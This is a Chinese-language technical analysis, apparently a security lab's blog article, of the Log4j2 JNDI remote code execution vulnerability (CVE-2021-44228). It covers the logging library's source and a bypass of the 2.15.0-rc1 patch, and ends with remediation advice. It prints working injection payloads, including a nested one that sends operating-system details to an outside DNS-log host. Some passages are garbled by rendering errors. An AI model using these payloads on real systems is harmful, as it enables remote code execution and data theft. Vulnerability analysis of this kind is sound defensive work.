0x01前言
最近IT圈被爆出的log4j2漏洞鬧的沸沸揚揚,log4j2作為一個優秀的java程式日志監控組件,被應用在了各種各樣的衍生框架中,同時也是作為目前java全生態中的基礎組件之一,這類組件一旦崩塌將造成不可估量的影響,
從Apache Log4j2 漏洞影響面查詢的統計來看,影響多達60644個開源軟體,涉及相關版本軟體包更是達到了321094個,而本次漏洞的觸發方式簡單,利用成本極低,可以說是一場java生態的‘浩劫’,本文將從零到一帶你深入了解log4j2漏洞,知其所以然,方可深刻理解、有的放矢,
0x02 Java日志體系
要了解認識log4j2,就不得講講java的日志體系,在最早的2001年之前,java是不存在日志庫的,列印日志均通過System.out和System.err來進行,缺點也顯而易見,列舉如下:
大量IO操作;
無法合理控制輸出,并且輸出內容不能保存,需要盯守;
無法定制日志格式,不能細粒度顯示;
在2001年,軟體開發者Ceki Gulcu設計出了一套日志庫也就是log4j(注意這里沒有2),后來log4j成為了Apache的專案,作者也加入了Apache組織,這里有一個小插曲,Apache組織建議過sun公司在標準庫中引入log4j,但是sun公司可能有自己的小心思,所以就拒絕了建議并在JDK1.4中推出了自己的借鑒版本JUL(Java Util Logging),不過功能還是不如Log4j強大,使用范圍也很小,
由于出現了兩個日志庫,為了方便開發者進行選擇使用,Apache推出了日志門面JCL(Jakarta Commons Logging),它提供了一個日志抽象層,在運行時動態的系結日志實作組件來作業(如log4j、java.util.logging),匯入哪個就系結哪個,不需要再修改配置,當然如果沒匯入的話他自己內部有一個Simple logger的簡單實作,但是功能很弱,直接忽略,架構如下圖:

【一>所有資源獲取<一】
1、200份很多已經買不到的絕版電子書
2、30G安全大廠內部的視頻資料
3、100份src檔案
4、常見安全面試題
5、ctf大賽經典題目決議
6、全套工具包
7、應急回應筆記
8、網路安全學習路線
在2006年,log4j的作者Ceki Gulcu離開了Apache組織后覺得JCL不好用,于是自己開發了一版和其功能相似的Slf4j(Simple Logging Facade for Java),Slf4j需要使用橋接包來和日志實作組件建立關系,由于Slf4j每次使用都需要配合橋接包,作者又寫出了Logback日志標準庫作為Slf4j介面的默認實作,其實根本原因還是在于log4j此時無法滿足要求了,以下是橋接架構圖:

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新專案Log4j2并且不兼容Log4j,全面借鑒Slf4j+Logback,此次借鑒比較成功,
Log4j2不僅僅具有Logback的所有特性,還做了分離設計,分為log4j-api和log4j-core,log4j-api是日志介面,log4j-core是日志標準庫,并且Apache也為Log4j2提供了各種橋接包
到目前為止Java日志體系被劃分為兩大陣營,分別是Apache陣營和Ceki陣營,

0x03 Log4j2原始碼淺析
Log4j2是Apache的一個開源專案,通過使用Log4j2,我們可以控制日志資訊輸送的目的地是控制臺、檔案、GUI組件,甚至是套介面服務器、NT的事件記錄器、UNIX Syslog守護行程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志資訊的級別,我們能夠更加細致地控制日志的生成程序,最令人感興趣的就是,這些可以通過一個組態檔來靈活地進行配置,而不需要修改應用的代碼,
從上面的解釋中我們可以看到Log4j2的功能十分強大,這里會簡單分析其與漏洞相關聯部分的原始碼實作,來更熟悉Log4j2的漏洞產生原因,
我們使用maven來引入相關組件的2.14.0版本,在工程的pom.xml下添加如下配置,他會匯入兩個jar包
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>

在工程目錄resources下創建log4j2.xml組態檔
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
<appenders>
<!-- 配置Appenders輸出源為Console和輸出陳述句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
log4j2中包含兩個關鍵組件LogManager和LoggerContext,LogManager是Log4J2啟動的入口,可以初始化對應的LoggerContext,LoggerContext會對組態檔進行決議等其它操作,
在不使用slf4j的情況下常見的Log4J用法是從LogManager中獲取Logger介面的一個實體,并呼叫該介面上的方法,運行下列代碼查看列印結果
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
String a="${java:os}";
logger.error(a);
}
}

屬性占位符之Interpolator(插值器)
log4j2中環境變數鍵值對被封裝為了StrLookup物件,這些變數的值可以通過屬性占位符來參考,格式為:${prefix:key},在Interpolator(插值器)內部以Map<String,StrLookup>的方式則封裝了多個StrLookup物件,如下圖顯示:

詳細資訊可以查看官方檔案,這些實作類存在于org.apache.logging.log4j.core.lookup包下,
當引數占位符${prefix:key}帶有prefix前綴時,Interpolator會從指定prefix對應的StrLookup實體中進行key查詢,當引數占位符${key}沒有prefix時,Interpolator則會從默認查找器中進行查詢,如使用${jndi:key}時,將會呼叫JndiLookup的lookup方法使用jndi(javax.naming)獲取value,如下圖演示,

模式布局
log4j2支持通過配置Layout列印格式化的指定形式日志,可以在Appenders的后面附加Layouts來完成這個功能,常用之一有PatternLayout,也就是我們在組態檔中PatternLayout欄位所指定的屬性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n,%msg表示所輸出的訊息,其它格式化字符所表示的意義可以查看官方檔案,

PatternLayout模式布局會通過PatternProcessor模式決議器,對模式字串進行決議,得到一個List<PatternConverter>轉換器串列和List<FormattingInfo>格式資訊串列,
在組態檔PatternLayout標簽的pattern屬性中我們可以看到類似%d的寫法,d代表一個轉換器名稱,log4j2會通過PluginManager收集所有類別為Converter的插件,同時分析插件類上的@ConverterKeys注解,獲取轉換器名稱,并建立名稱到插件實體的映射關系,當PatternParser識別到轉換器名稱的時候,會查找映射,相關轉換器名稱注解和加載的插件實體如下圖所示:


本次漏洞關鍵在于轉換器名稱msg對應的插件實體MessagePatternConverter對于日志中的訊息內容處理存在問題,在大多數場景下這部分是攻擊者可控的,MessagePatternConverter會將日志中的訊息內容為${prefix:key}格式的字串進行決議轉換,讀取環境變數,此時為jndi的方式的話,就存在漏洞,
日志級別
log4j2支持多種日志級別,通過日志級別我們可以將日志資訊進行分類,在合適的地方輸出對應的日志,哪些資訊需要輸出,哪些資訊不需要輸出,只需在一個日志輸出控制檔案中稍加修改即可,級別由高到低共分為6個:fatal(致命的), error, warn, info, debug, trace(堆疊),log4j2還定義了一個內置的標準級別intLevel,由數值表示,級別越高數值越小,
當日志級別(呼叫)大于等于系統設定的intLevel的時候,log4j2才會啟用日志列印,在存在組態檔的時候 ,會讀取組態檔中<root level="error">值設定intLevel,當然我們也可以通過Configurator.setLevel("當前類名", Level.INFO);來手動設定,如果沒有組態檔也沒有指定則會默認使用Error級別,也就是200,如下圖中的處理:

0x04 漏洞原理
首先先來看一下網路上流傳最多的payload
${jndi:ldap://2lnhn2.ceye.io}
而觸發漏洞的方法,大家都是以Logger.error()方法來進行演示,那這里我們也采用同樣的方式來講解,具體漏洞環境代碼如下所示
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:ldap://2lnhn2.ceye.io}");
}
}
直擊漏洞本源,將斷點斷在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,該方法的第一行代碼將回傳當前使用的布局,并呼叫 對應布局處理器的encode方法,log4j2默認預設布局使用的是PatternLayout,如下圖所示:

繼續跟進在encode中會呼叫toText方法,根據注釋該方法的作用為創建指定日志事件的文本表示形式,并將其寫入指定的StringBuilder中,


接下來會呼叫serializer.toSerializable,并在這個方法中呼叫不同的Converter來處理傳入的資料,如下圖所示,

這里整理了一下呼叫的Converter
org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
這么多Converter都將一個個通過上圖中的for回圈對日志事件進行處理,當呼叫到MessagePatternConverter時,我們跟入MessagePatternConverter.format()方法中一探究竟

在MessagePatternConverter.format()方法中對日志訊息進行格式化,其中很明顯的看到有針對字符"KaTeX parse error: Expected '}', got 'EOF' at end of input: …連著判斷,等同于判斷是否存在"{",這三行代碼中關鍵點在于最后一行

這里我圈了幾個重點,有助于理解Log4j2 為什么會用JndiLookup,它究竟想要做什么,此時的workingBuilder是一個StringBuilder物件,該物件存放的字串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
本來這段字串的長度是82,但是卻給它改成了53,為什么呢?因為第五十三的位置就是$符號,也就是說${jndi:ldap://2lnhn2.ceye.io}這段不要了,從第53位開始append,而append的內容是什么呢?
可以看到傳入的引數是config.getStrSubstitutor().replace(event, value)的執行結果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}這段字串,replace的作用簡單來說就是想要進行一個替換,我們繼續跟進

經過一段的嵌套呼叫,來到Interpolator.lookup,這里會通過var.indexOf(PREFIX_SEPARATOR)判斷":"的位置,其后截取之前的字符,截取到jndi然后就會獲取針對jndi的Strlookup物件并呼叫Strlookup的lookup方法,如下圖所示

那么總共有多少Strlookup的子類物件可供選擇呢,可供呼叫的Strlookup都存放在當前Interpolator類的strLookupMap屬性中,如下所示

然后程式的繼續執行就會來到JndiLookup的lookup方法中,并呼叫jndiManager.lookup方法,如下圖所示

說到這里,我們已經詳細了解了logger.error()造成RCE的原理,那么問題就來了,logger有很多方法,除了error以外還別方法可以觸發漏洞么?這里就要提到Log4j2的日志優先級問題,每個優先級對應一個數值intLevel記錄在StandardLevel這個列舉型別中,數值越小優先級越高,如下圖所示:

當我們執行Logger.error的時候,會呼叫Logger.logIfEnabled方法進行一個判斷,而判斷的依據就是這個日志優先級的數值大小


跟進isEnabled方法發現,只有當前日志優先級數值小于Log4j2的200的時候,程式才會繼續往下走,如下所示

而這里日志優先級數值小于等于200的就只有"error"、“fatal”,這兩個,所以logger.fatal()方法也可觸發漏洞,但是"warn"、"info"大于200的就觸發不了了,
但是這里也說了是默認情況下,日志優先級是以error為準,Log4j2的預設組態檔如下所示,
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
所以只需要做一點簡單的修改,將<Root level="error">中的error改成一個優先級比較低的,例如"info"這樣,只要日志優先級高于或者等于info的就可以觸發漏洞,修改過后如下所示
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
關于Jndi部分的遠程類加載利用可以參考實驗室往常的文章:Java反序列化程序中 RMI JRMP 以及JNDI多種利用方式詳解、JAVA JNDI注入知識詳解
0x05 敏感資料帶外
當目標服務器本身受到防護設備流量監控等原因,無法反彈shell的時候,Log4j2還可以通過修改payload,來外帶一些敏感資訊到dnslog服務器上,這里簡單舉一個例子,根據Apache Log4j2官方提供的資訊,獲取環境變數資訊除了jndi之外還有很多的選擇可供使用,具體可查看前文給出的鏈接,根據檔案中所述,我們可以用下面的方式來記錄當前登錄的用戶名,如下所示
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
</PatternLayout>
</File>
獲取java運行時版本,jvm版本,和作業系統版本,如下所示
<File name="Application" fileName="application.log">
<PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
<Pattern>%d %m%n</Pattern>
</PatternLayout>
</File>
類似的操作還有很多,感興趣的同學可以去閱讀下官方檔案,
那么問題來了,如何將這些資訊外帶出去,這個時候就還要利用我們的dnsLog了,就像在sql注入中通過dnslog外帶資訊一樣,payload改成以下形式
"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"
從表上看這個payload執行原理也不難,肯定是log4j2 遞回決議了唄,為了嚴謹一下,就再廢話一下log4j2決議這個payload的執行流程
首先還是來到MessagePatternConverter.format方法,然后是呼叫StrSubstitutor.replace方法進行字串處理,如下圖所示

只不過這次迭代處理先處理了"${java:os}",如下圖所示

如此一來,就來到了JavaLookup.lookup方法中,并根據傳入的引數來獲取指定的值

決議完成后然后log4j2才會去決議外層的${jndi:ldap://2lnhn2.ceye.io},最后請求的dnslog地址如下

此時就實作了將敏感資訊回顯到dnslog上,利用的就是log4j2的遞回決議,來dnslog上查看一下回顯效果,如下所示

但是這種回顯的資料是有限制的,例如下面這種情況,使用如下payload
${jndi:ldap://${java:os}.2lnhn2.ceye.io}
執行完成后請求的地址如下

最后會報如下錯誤,并且無法回顯

0x06 2.15.0 rc1繞過詳解
在Apache log4j2漏洞大肆傳播的當天,log4j2官方發布的rc1補丁就傳出的被繞過的訊息,于是第一時間也跟著研究究竟是怎么繞過的,分析完后發現,這個“繞過”屬實是一言難盡,下面就針對這個繞過來解釋一下為何一言難盡,
首先最重要的一點,就是需要修改配置,默認配置下是不能觸發JNDI遠程加載的,單就這個條件來說我覺得就很勉強了,但是確實更改了配置后就可以觸發漏洞,所以這究竟算不算繞過,還要看各位同學自己的看法了,
首先在這次補丁中MessagePatternConverter類進行了大改,可以看下修改前后MessagePatternConverter這個類的結構對比
修改前
![[圖片上傳中...(image.png-dab5a8-1640596813429-0)]](https://upload-images.jianshu.io/upload_images/26472780-5d54d10c67851ae4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改后

可以很清楚的看到 增加了三個靜態內部類,每個內部類都繼承自MessagePatternConverter,且都實作了自己的format方法,之前執行鏈上的MessagePatternConverter.format()方法則變成了下面這樣

在rc1這個版本中Log4j2在初始化的時候創建的Converter也變了,

整理一下,可以看的更清晰一些
DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter
之前的MessagePatternConverter,變成了現在的MessagePatternConverter$SimpleMessagePatternConverter,那么這個SimpleMessagePatternConverter的方法究竟是怎么實作的,如下所示

可以看到并沒有對傳入的資料的“KaTeX parse error: Expected '}', got 'EOF' at end of input: …的點就沒有了么?當然不是,對“{}”的處理,開發者將其轉移到了LookupMessagePatternConverter.format()方法中,如下所示

問題來了,如何才能讓log4j2在初始化的時候就實體化LookupMessagePatternConverter從而能讓程式在后續的執行程序中呼叫它的format方法呢?
其實很簡單,但這也是我說這個繞過“一言難盡”的一個點,就是要修改組態檔,修改成如下所示在“%msg”的后面添加一個“{lookups}”,我相信一般情況下應該沒有那個開發者會這么改組態檔玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的組態檔如下所示
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
這樣一來就可以觸發LookupMessagePatternConverter.format()方法了,但是單單只改配置,還是不行,因為JndiManager.lookup方法也進行了修改,增加了白名單校驗,這就意味著我們還要修改payload來繞過這么一個校驗,校驗點代碼如下所示

當判斷以ldap開頭的時候,就回去判斷請求的host,也就是請求的地址,白名單內容如下所示

可以看到白名單里要么是本機地址,要么是內網地址,fe80開頭的ipv6地址也是內網地址,看似想要繞過有些困難,因為都是內網地址,沒法請求放在公網的ldap服務,不過不用著急,繼續往下看,
使用marshalsec開啟ldap服務后,先將payload修改成下面這樣
${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一來就可以繞過第一道校驗,過了這個host校驗后,還有一個校驗,在JndiManager.lookup方法中,會將請求ldap服務后 ldap回傳的資訊以map的形式存盤,如下所示

這里要求javaFactory為空,否則就會回傳"Referenceable class is not allowed for xxxxxx"的錯誤,想要繞過這一點其實也很簡單,在JndiManager.lookup方法中有一個非常非常離譜的錯誤,就是在捕獲例外后沒有進行回傳,甚至沒有進行任何操作,我看不懂,但我大為震撼,這樣導致了程式還會繼續向下執行,從而走到最后的this.context.lookup()這一步 ,如下所示

也就是說只要讓lookup方法在執行的時候拋個例外就可以了,將payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
在url中“/”后加上一個空格,就會導致lookup方法中一開始實體化URI物件的時候報錯,這樣不僅可以繞過第二道校驗,連第一個針對host的校驗也可以繞過,從而再次造成RCE,在rc2中,catch錯誤之后,return null,也就走不到lookup方法里了,
0x07 修復&臨時建議
在最新的修復https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器時新增了檢查jndi協議是否啟用的判斷,并且默認禁用了jndi協議的使用,


修復建議:
升級Apache Log4j2所有相關應用到最新版,
升級JDK版本,建議JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,但仍有繞過Java本身對Jndi遠程加載類安全限制的風險,
臨時建議:
jvm中添加引數 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
新建log4j2.component.properties檔案,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
設定系統環境變數:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
對于log4j2 < 2.10以下的版本,可以通過移除JndiLookup類的方式,
0x08 時間線
2021年11月24日:阿里云安全團隊向Apache 官方提交ApacheLog4j2遠程代碼執行漏洞(CVE-2021-44228)
2021年12月8日:Apache Log4j2官方發布安全更新log4j2-2.15.0-rc1,
2021年12月9日:天融信阿爾法實驗室晚間監測到poc大量傳播并被利用攻擊
2021年12月10日:天融信阿爾法實驗室于10日凌晨發布Apache Log4j2 遠程代碼執行漏洞預警,并于當日發布Apache Log4j2 漏洞處置方案
2021年12月10日:同一天內,網路傳出log4j2-2.15.0-rc1安全更新被繞過,天融信阿爾法實驗室第一時間進行驗證,發現繞過存在,并將處置方案內的升級方案修改為log4j2-2.15.0-rc2
2021年12月15日:天融信阿爾法實驗室對該漏洞進行了深入分析并更新修復建議,
0x09 總結
log4j2這次漏洞的影響是核彈級的,堪稱web漏洞屆的永恒之藍,因為作為一個日志系統,有太多的開發者使用,也有太多的開源專案將其作為默認日志系統,所以可以見到,在未來的幾年內,Apache log4j2 很可能會接替Shiro的位置,作為護網的主要突破點,
該漏洞的原理并不復雜,甚至如果認真讀了官方檔案可能就可以發現這個漏洞,因為這次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的開發者也好,還是使用log4j2進行開發的開發者也好,他們都犯了一個致命的錯誤,就是相信了用戶的輸入,
永遠不要相信用戶的輸入,想必這是每一個開發人員都聽過的一句話,可惜,真正能做到的人太少了,對于開源軟體的生態安全,也需要相關企業和組織加以關注和共同建設,安全之路任重而道遠,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/396098.html
標籤:其他
上一篇:源代碼防泄密SDC介紹
